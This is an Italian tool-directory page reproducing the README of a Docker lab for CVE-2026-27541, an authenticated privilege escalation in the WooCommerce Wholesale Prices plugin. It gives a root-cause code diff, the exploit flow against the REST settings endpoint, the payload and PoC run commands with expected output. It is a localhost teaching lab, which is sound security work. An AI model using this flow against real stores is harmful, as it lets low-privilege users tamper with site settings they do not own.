Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27541-Analysis-Lab — # Docker lab per riprodurre CVE-2026-27541, un'escalation di privilegi autenticata in WooCommerce Wholesale Prices. Confronta le build vulnerabili e quelle patchate, include script PoC e analisi della causa principale. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# Docker lab per riprodurre CVE-2026-27541, un'escalation di privilegi autenticata in WooCommerce Wholesale Prices. Confronta le build vulnerabili e quelle patchate, include script PoC e analisi della causa principale.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-27541 — Laboratorio di Escalation dei Privilegi Autenticata in WooCommerce Wholesale Prices

vulnx

Panoramica

Questo progetto è un laboratorio Docker locale per analizzare e riprodurre il comportamento di CVE-2026-27541 nel plugin WooCommerce Wholesale Prices / Wholesale Suite, confrontando le build vulnerabile e corretta fianco a fianco sulla stessa macchina.

Il problema principale è un Controllo degli Accessi Non Corretto (Broken Access Control) nel seguente endpoint REST API:

root@kitploit:~
/wp-json/wwp/v1/admin/save

In base al codice sorgente utilizzato in questo laboratorio, quella rotta ha già un permission_callback sia nella build vulnerabile che in quella corretta. Tuttavia, la versione interessata utilizza un controllo delle capacità troppo ampio per un'azione di scrittura delle impostazioni admin:

  • vulnerabile (2.2.6) →
current_user_can( 'manage_woocommerce' )
  • corretta (2.2.7) → current_user_can( 'manage_options' )
  • In questo laboratorio, l'utente shopmgr, che ha il ruolo shop_manager, ha manage_woocommerce=true ma non manage_options. Di conseguenza, questo utente con privilegi bassi può utilizzare una sessione valida di accesso più un X-WP-Nonce valido per invocare l'endpoint di salvataggio delle impostazioni admin sulla build vulnerabile, mentre la build corretta restituisce 403 rest_forbidden per la stessa richiesta.


    Cosa dimostra questo laboratorio

    • Nodo vulnerabile (2.2.6): l'utente shopmgr può chiamare con successo POST /wp-json/wwp/v1/admin/save e modificare le impostazioni del plugin.
    • Nodo corretto (2.2.7): la stessa richiesta da shopmgr viene respinta con 403.
    • Richiesta senza autenticazione: se l'endpoint viene chiamato direttamente senza autenticazione, entrambe le build restituiscono 403, il che è coerente con un problema di escalation dei privilegi post-autenticazione.
    • Prova di persistenza: dopo un'esecuzione riuscita del PoC, la build vulnerabile memorizza l'opzione WordPress wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, mentre la build corretta restituisce ancora See wholesale prices.

    Topologia del Laboratorio

    Servizi

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → database MariaDB separati
    • seed-vuln / seed-patched → job di seeding wp-cli che installano WordPress, installano il plugin, creano utenti e creano un prodotto per i test

    Porte pubblicate

    • http://localhost:8081 → vulnerabile
    • http://localhost:8082 → corretta

    Immagini base

    • WordPress: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • Seeder: wordpress:cli-php8.2

    Struttura del Repository

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    File importanti

    • docker-compose.yml — definisce gli stack vulnerabile e corretto con database separati
    • scripts/seed-wp.sh — installa WordPress, WooCommerce, il plugin target e crea utenti di test e dati di prodotto
    • poc.py — PoC a impatto minimo per login, estrazione nonce e invocazione dell'endpoint REST

    Ambiente Preparato (Seeded)

    Una volta che lo stack è pronto, lo script di seeding crea quanto segue:

    Utenti

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    Prodotto

    • slug: lab-product
    • prezzo normale: 100
    • prezzo all'ingrosso: 50

    Versioni

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • vulnerabile: 2.2.6
      • corretta: 2.2.7

    Lo script scrive anche lab-secrets.json in ogni container WordPress in modo che i dati preparati e le informazioni sulla versione possano essere verificati.


    Perché il PoC è a impatto minimo

    Questo PoC non tenta di prendere il controllo del sito, cambiare ruoli, installare plugin o eseguire una shell.

    Fa solo quanto segue:

    1. effettua il login come shopmgr
    2. visita la pagina admin pertinente per estrarre wpApiSettings.nonce
    3. invia una richiesta all'endpoint target
    4. modifica un valore di impostazione facilmente osservabile:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    Questa impostazione viene utilizzata come marcatore osservabile per dimostrare che un utente con privilegi bassi può modificare una configurazione riservata agli admin.


    Riepilogo della Vulnerabilità

    Componente interessato

    • Plugin: WooCommerce Wholesale Prices / Wholesale Suite
    • Rotta: POST /wp-json/wwp/v1/admin/save

    Classe di vulnerabilità

    • Controllo degli Accessi Non Corretto (Broken Access Control)
    • Escalation dei Privilegi Autenticata

    Significato pratico

    Sebbene l'endpoint richieda una sessione valida e un nonce, la versione vulnerabile consente comunque a un utente con privilegi bassi come shopmgr con il ruolo shop_manager di invocare un endpoint che dovrebbe essere riservato agli admin.

    Sfumatura importante

    Questa non è una vulnerabilità non autenticata.

    Se l'endpoint viene chiamato direttamente senza una sessione di accesso, sia la build vulnerabile che quella corretta respingono la richiesta. Il bug risiede nell'autorizzazione dopo l'autenticazione, non nell'autenticazione stessa.


    Analisi della Causa Radice

    La versione vulnerabile non manca di un permission_callback. Il difetto è che utilizza un controllo delle capacità troppo ampio (manage_woocommerce) per un'azione REST che scrive impostazioni lato admin.

    Dal codice sorgente in includes/class-wwp-admin-settings.php:

    • sia la build vulnerabile che quella corretta registrano la stessa rotta: POST /wp-json/wwp/v1/admin/save
    • entrambe le build la instradano a save_registered_settings()
    • entrambe le build utilizzano permission_admin_check() come permission_callback
    • la vera differenza è la capacità che viene controllata

    Vulnerabile (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Corretta (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    In questo laboratorio, l'utente shopmgr, che ha il ruolo shop_manager, ha manage_woocommerce=true ma non manage_options, quindi supera il controllo vulnerabile ma fallisce quello corretto.

    Cosa è cambiato nel comportamento corretto

    La versione corretta fa più che cambiare la risposta da 200 a 403. Modifica la logica di controllo degli accessi restringendo il requisito di capacità da manage_woocommerce a manage_options.

    Inoltre, il percorso di salvataggio nella build corretta è ulteriormente rafforzato passando dal filtraggio basato su prefissi a liste bianche esplicite e a una sanificazione più forte.

    Perché il PoC riesce sulla versione vulnerabile

    Il PoC segue lo stesso flusso di un contesto browser reale:

    • effettua il login come shopmgr
    • apre la pagina delle impostazioni del plugin
    • estrae wpApiSettings.nonce
    • chiama POST /wp-json/wwp/v1/admin/save

    Poiché la build vulnerabile consente agli utenti con manage_woocommerce di invocare questa azione di scrittura delle impostazioni, la richiesta riesce e comporta una modifica persistente dell'opzione.

    Lezione di sicurezza

    Un nonce aiuta a proteggere contro il CSRF, ma non è un controllo di autorizzazione.

    Avere una sessione valida e un nonce valido non significa che un utente dovrebbe essere autorizzato a eseguire un'azione admin. L'uso di una capacità eccessivamente ampia su un endpoint privilegiato è sufficiente per creare un bypass di autorizzazione per utenti con privilegi bassi.


    Riproduzione del Laboratorio

    Prerequisiti

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • Accesso a Internet per il download iniziale di immagini e plugin

    1) Avviare il laboratorio

    root@kitploit:~
    docker compose up -d --build
    

    2) Confermare che i container siano attivi

    root@kitploit:~
    docker compose ps
    

    Dovresti vedere almeno:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) Osservare i log di seeding

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) Ispezionare i metadati preparati

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    Guida al PoC

    poc.py funziona come segue:

    1. GET /wp-login.php

    2. POST /wp-login.php per stabilire una sessione autenticata

    3. apre la pagina admin del plugin:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. estrae wpApiSettings.nonce e la root REST dall'HTML/JavaScript

    5. invia una richiesta a:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. invia il payload:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    Esecuzione del PoC

    Nodo vulnerabile

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Nodo corretto

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Risultati Attesi

    Vulnerabile (8081)

    Output atteso:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    Corretta (8082)

    Output atteso:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    Verifica Manuale

    Verifica tramite interfaccia utente

    Dopo che il PoC riesce sul nodo vulnerabile:

    1. effettua il logout o apri una finestra in incognito
    2. apri la pagina del prodotto o la pagina dello storefront che visualizza il testo sostitutivo
    3. cerca:
    root@kitploit:~
    PWNED_BY_POC
    

    Impatto sulla Sicurezza

    L'impatto pratico di questa classe di bug è che un utente con privilegi bassi può modificare una configurazione che dovrebbe essere riservata agli admin, il che può portare direttamente a:

    • manomissione dei contenuti
    • manipolazione dei messaggi frontend
    • abuso della logica di business

    Questo laboratorio utilizza intenzionalmente un payload sicuro e osservabile per evitare cambi di ruolo o qualsiasi escalation oltre a quanto necessario per dimostrare la condizione di vulnerabilità.


    Pulizia

    root@kitploit:~
    docker compose down -v
    

    Note di Sicurezza

    • Solo per uso in laboratorio locale
    • Tutti i servizi sono vincolati solo a localhost
    • Il PoC è intenzionalmente a impatto minimo e utilizza un valore osservabile innocuo
    • Non adattare questo PoC per l'uso contro sistemi che non possiedi o per i quali non hai il permesso di testare

    Riferimenti

    • Record CVE — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
    • Pagina del Plugin su WordPress.org — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    Questo laboratorio mostra che CVE-2026-27541 è un bypass di autorizzazione autenticato con privilegi bassi nell'endpoint delle impostazioni REST API del plugin. Il difetto nella versione 2.2.6 non è l'assenza di un controllo dei permessi, ma l'uso di una capacità eccessivamente ampia (manage_woocommerce) per un'azione che dovrebbe essere limitata al livello manage_options.

    In questo ambiente locale:

    • shopmgr supera il controllo vulnerabile e può modificare con successo le impostazioni lato admin tramite POST /wp-json/wwp/v1/admin/save
    • la stessa richiesta viene bloccata su 2.2.7
    • la build vulnerabile persiste PWNED_BY_POC nell'opzione target, mentre la build corretta no

    Di conseguenza, questo repository funge sia da prova comportamentale che da prova basata sul codice della differenza tra versione vulnerabile e corretta in un ambiente locale completamente controllato.

    Scarica lo strumento